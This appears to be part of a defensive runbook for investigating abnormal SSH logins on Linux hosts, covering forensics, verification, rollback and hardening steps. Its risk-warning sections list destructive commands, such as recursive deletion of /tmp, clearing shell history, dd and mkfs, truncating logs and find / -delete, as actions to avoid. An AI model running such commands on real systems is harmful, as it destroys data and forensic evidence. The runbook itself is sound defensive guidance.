Use ausearch for auditd logs.

Use tcpdump to capture abnormal outbound.

Use unhide to detect hidden processes.

Use rpm -Va / debsums -c to verify package integrity.

Use aide --check to compare file integrity baseline.

Investigation Paths

9.1 Quick Reference Table

Mapping phenomena to first action, key commands, further actions:

Alert SSH unknown IP : First action: check logs confirm identity. Key commands: last, lastb, grep Accepted. Further: notify user, check operation records.

Many Failed password : First action: find high-frequency IPs. Key commands: awk + sort + uniq -c. Further: fail2ban block, change port.

Failures then Accepted : First action: immediately freeze account. Key commands: last -F, passwd -l. Further: investigate backdoors, lateral movement.

Unknown account login success : First action: immediately freeze. Key commands: lastlog, passwd -S. Further: delete account, change all keys.

/tmp suspicious scripts : First action: forensics then delete. Key commands: find /tmp -mtime -3. Further: check timeline, check outbound.

Abnormal mining processes : First action: immediate forensics. Key commands: top, ps auxf. Further: kill process, delete crontab.

Outbound C2 IP : First action: immediately block. Key commands: ss -antp state established. Further: disconnect, check lateral.

sshd_config changed : First action: immediate diff. Key commands: stat, sshd -T. Further: rollback, change all keys.

authorized_keys unknown keys : First action: immediately delete. Key commands: cat, grep. Further: change passwords, change all keys.

/etc/passwd unknown accounts : First action: immediately freeze. Key commands: awk -F: '$3==0'. Further: delete, check sudoers.

Abnormal crontab : First action: immediately clean. Key commands: crontab -l, for user in. Further: check history, check scripts.

wtmp/btmp anomalies : First action: compare remote logs. Key commands: utmpdump, stat. Further: suspect tampering.

SSH config rollback : First action: check auditd. Key commands: ausearch -k sshd_config_change. Further: check operator.

Host CPU spike : First action: check top processes. Key commands: top -c, ps -eo --sort=-pcpu. Further: check process, check outbound.

Host bandwidth anomaly : First action: check network connections. Key commands: iftop, nethogs. Further: check outbound IPs.

9.2 Complete Investigation Flow

Alert/Clue Trigger
  ↓
[Step 1] Scene Preservation (backup logs, processes, network, configs)
  ↓
[Step 2] Login Trajectory Analysis (last/lastb/lastlog/secure)
  ↓
  ├── Normal: return to monitoring, enhance alerts
  └── Abnormal:
       ↓
[Step 3] SSH/PAM Config Verification
  ↓
  ├── Normal: proceed to [Step 4]
  └── Abnormal: record → proceed to [Step 4]
       ↓
[Step 4] Account System Verification
  ↓
[Step 5] Cron Job Verification
  ↓
[Step 6] Process Dimension Investigation
  ↓
[Step 7] Network Connection Verification
  ↓
[Step 8] Filesystem Suspicious Points
  ↓
[Step 9] Log Integrity + Timeline
  ↓
[Step 10] Emergency Response (freeze, disconnect, clean, harden)
  ↓
[Step 11] Hardening (disable password, restrict port, fail2ban, 2FA)
  ↓
[Step 12] Lateral Expansion (same subnet, same accounts, other hosts)
  ↓
[Step 13] Postmortem Report + Improvements + Knowledge Base Archive

Risk Warnings

10.1 Forensics Phase Risks

Don't run rm -rf /tmp/* — destroys evidence.

Don't run history -c — loses command history.

Don't run dd, mkfs — destroys disks.

Don't run mv /var/log — breaks log chain.

Don't run : > /var/log/xxx.log — clears logs.

Don't run find / -delete — extreme accidental deletion risk.

Don't run kill -9 on all processes — destroys process context.

10.2 Emergency Response Risks

passwd -l

safe (locks account), but userdel -r deletes home dir — caution. kill -9 skips SIGTERM cleanup, may leak shared memory. iptables -I OUTPUT -d 0.0.0.0/0 -j DROP cuts all outbound including SSH client. crontab -r clears entire crontab — backup first. rm -rf any directory must be preceded by cp -a backup. systemctl restart sshd drops all existing SSH connections, disrupts investigation. usermod -L locks without clearing password, prefer this.

Before modifying sshd_config, keep a second session open, else misconfig locks you out.

10.3 Lateral Investigation Risks

Don't use root SSH for batch commands — violates least privilege.

Don't use nmap for large scans — triggers security alerts.

Don't run massive investigation scripts during business hours.

Don't rm -rf suspicious files across hosts — forensics first per host.

Correlate same-subnet results, don't treat in isolation.

10.4 Hardening Phase Risks

Disable password login only after confirming all accounts have public keys.

Port change must notify all ops, bastion, automation scripts.

Algorithm hardening must verify client compatibility.

Whitelist must include all accounts needing login.

fail2ban ignoreip must include office network.

2FA rollout must be gradual, not all at once.

Hardening must occur within change window.

10.5 Data Protection Risks

Don't upload incident reports to public code repos.

Don't paste private keys, password hashes into chat tools.

Redact IPs, accounts in archived reports.

Encrypt backup storage to prevent leakage.

Store forensics packages offsite (object storage, backup server).

10.6 Misjudgment Risks

Unknown IP ≠ compromise — could be ops traveling, VPN switch.

Unknown account ≠ anomaly — could be temporary account.

Empty .bash_history ≠ cleaning — could be new account.

Unknown process ≠ malicious — could be business script.

Key: correlate multi-dimensional evidence, avoid single-point judgments.

Verification Methods

11.1 Verify Login Status

# 1. Attacker IP blocked?
iptables -L -n | grep -E "DROP.*<attacker_ip>"
ip6tables -L -n | grep -E "DROP.*<attacker_ip>"

# 2. Suspicious account frozen?
passwd -S <username>
# Output "L" or "LK" means locked

# 3. Ongoing login attempts?
grep "Failed password" /var/log/secure | wc -l
# Should decrease or stabilize

# 4. Any successful logins?
grep "Accepted" /var/log/secure | tail -10
# Should be only familiar ops accounts

# 5. SSH config effective?
sshd -T | grep -E "^(passwordauthentication|permitrootlogin|maxauthtries|allowusers)\b"

11.2 Verify Backdoor Cleanup

# 1. Crontabs clean
for user in $(cut -f1 -d: /etc/passwd); do
  crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab
ls -la /etc/cron.d/

# 2. systemd clean
systemctl list-timers --all
systemctl list-unit-files --state=enabled

# 3. /tmp clean
ls -la /tmp/ /var/tmp/ /dev/shm/

# 4. authorized_keys clean
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
  echo "=== $f ==="
  cat "$f"
done

# 5. Binary hashes match
md5sum -c /tmp/incident-$TS/md5-baseline.txt

# 6. RPM/DEB verification
rpm -Va 2>/dev/null | grep -E "^..5"
debsums -c 2>/dev/null

# 7. Hidden processes
unhide proc
unhide sys

# 8. AIDE
aide --check

11.3 Verify Network Status

# 1. Established connections normal
ss -antp state established

# 2. No connections to suspicious IPs
ss -antp state established | grep -E "(<attacker_ip>|<c2_ip>)"

# 3. Firewall rules active
iptables -L -n | grep -E "DROP.*<attacker_ip>"

# 4. Secondary tcpdump confirms no anomalies
tcpdump -i eth0 -nn -s0 -w /tmp/capture2.pcap
sleep 60
# Analyze capture2.pcap with wireshark

11.4 Verify Hardening Effectiveness

# 1. Password login disabled
ssh -o PreferredAuthentications=password opsuser@host
# Should be rejected

# 2. Root login disabled
ssh -o PreferredAuthentications=publickey root@host
# Should be rejected

# 3. Non-whitelist users blocked
ssh -o PreferredAuthentications=publickey unknownuser@host
# Should be rejected

# 4. fail2ban working
sudo fail2ban-client status sshd

# 5. Monitoring alerts trigger
for i in {1..6}; do
  ssh -o ConnectTimeout=1 -o PreferredAuthentications=password wronguser@host
done
# Check alerts after 5 minutes

11.5 Verify Incident Closure

# 1. No new abnormal logins in 24h
journalctl -u sshd --since "24 hours ago" --no-pager | grep -E "Accepted|Failed"

# 2. No unknown IP successful logins in 7 days
grep "Accepted" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort -u

# 3. All ops account passwords changed
passwd -S -a

# 4. All hosts hardened
ansible all -m shell -a "sshd -T | grep -E '^passwordauthentication'"

Rollback Plans

12.1 Immediate Rollback (Account Freeze)

# Unlock account
passwd -u username
usermod -U username

# Verify
passwd -S username
# Output "P" means unlocked

12.2 Immediate Rollback (Firewall Block)

# Delete block rule
iptables -D INPUT -s <attacker_ip> -j DROP

# Verify
iptables -L -n | grep -E "<attacker_ip>"

# Test connectivity
nc -vz <host> 22

12.3 Immediate Rollback (Public Key Deletion)

# Restore from backup
cp -a /var/tmp/incident-$TS/authorized_keys.bak /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys

# Verify
ssh -i ~/.ssh/id_ed25519.opsuser opsuser@host

12.4 Immediate Rollback (Crontab Cleanup)

# Restore from backup
cp -a /var/spool/cron/root.bak /var/spool/cron/root
chmod 600 /var/spool/cron/root

# Verify
crontab -l

12.5 Immediate Rollback (sshd_config Restore)

# Restore from backup
cp -a /etc/ssh/sshd_config.bak.YYYYMMDD-HHMMSS /etc/ssh/sshd_config
sshd -t && systemctl reload sshd

# Verify
ssh opsuser@host

12.6 Immediate Rollback (Network Restore)

# Remove outbound block
iptables -D OUTPUT -d 0.0.0.0/0 -j DROP

# Verify
curl -v https://www.example.com

12.7 Rollback Principles

All hardening ops must be backed up first.

All emergency ops must be rollback-able.

Verify business availability after emergency response.

Rollback must not affect completed forensics.

Rollback actions recorded in incident report.

Production Environment Notes

13.1 Change Windows

Emergency hardening can execute immediately (emergency change).

Large-scale hardening in low-traffic periods.

Multi-host batch ops must be phased canary.

Network-layer changes (firewall, security groups) require two-person review.

Notify all stakeholders before changes.

Increase monitoring alert sensitivity during changes.

Observe 24-72h post-change with no anomalies before declaring stable.

13.2 Forensics & Legal

Regulatory-compliance incident reports retained 6+ months.

Forensics packages stored offsite (OSS, backup server).

Data breach incidents must notify legal, customers.

Redact IPs, accounts in reports.

High-sensitivity incidents transmitted via encrypted channels.

During regulatory investigation, do not modify any files privately.

13.3 Postmortem

Postmortem meeting within 1 week of incident closure.

Attendees: operators, reviewers, on-call ops, security contact, business owner.

Outputs: timeline, root cause, impact, fixes, improvements.

Improvements assigned owners and deadlines.

Track improvements to closure.

Archive postmortem to knowledge base.

13.4 Long-term Governance

Push full SSH public-key authentication.

Push bastion host to consolidate entry points.

Minimize SSH exposure on all hosts.

Build centralized SSH login audit center.

Establish abnormal login alerts.

Establish config file integrity monitoring.

Regular emergency drill exercises.

Regular red/blue team exercises.

13.5 Team Collaboration

Avoid solo incident handling.

Critical ops require two-person review.

Emergency procedures documented in Runbooks.

On-call contacts rotated.

Cross-team incidents use dedicated chat channel.

Postmortems public to avoid blame-shifting.

13.6 Tools & Platforms

Bastion: session audit, command interception.

SOC: centralized alerting, correlation analysis.

SIEM: log aggregation, threat detection.

Vulnerability scanner: periodic SSH config scans.

EDR: host intrusion detection.

Honeypots: discover unknown attacks.

Summary

Abnormal SSH login is among the most common production security events. Handling such events is not about "firefighting" but "closed-loop".

Complete closed-loop includes:

Detection : monitoring alerts, log analysis, user reports.

Response : scene preservation, trajectory analysis, config verification, account verification.

Containment : freeze, disconnect, clean, harden.

Recovery : business restore, account restore, network restore.

Postmortem : root cause analysis, improvements, process optimization.

Prevention : monitoring alerts, hardening baselines, regular drills.

Each phase has its own commands, configs, risk points. The command lists, config examples, rollback plans in this article are production-validated. But more important is codifying them into Runbooks, drilling emergency flows, and deploying comprehensive monitoring alerts.

Final pitfalls to avoid:

Don't run destructive commands during forensics.

Don't conclude on a single clue.

Don't lose all team connectivity during hardening.

Don't file incident report and forget it.

Don't leave improvements hanging.

Don't neglect lateral movement investigation.

Don't give attackers time for further actions.

Print the "Investigation Quick Reference" and post in duty room, post "Emergency Contacts" at workstations, deploy "Hardening Baseline" via Ansible to all hosts, deploy "Monitoring Alerts" via Prometheus to all nodes — these four steps will elevate the team's SSH abnormal login handling to the next level.

True security posture is determined not by the strongest control, but by the weakest. Every layer hardened removes one exploitable weak point.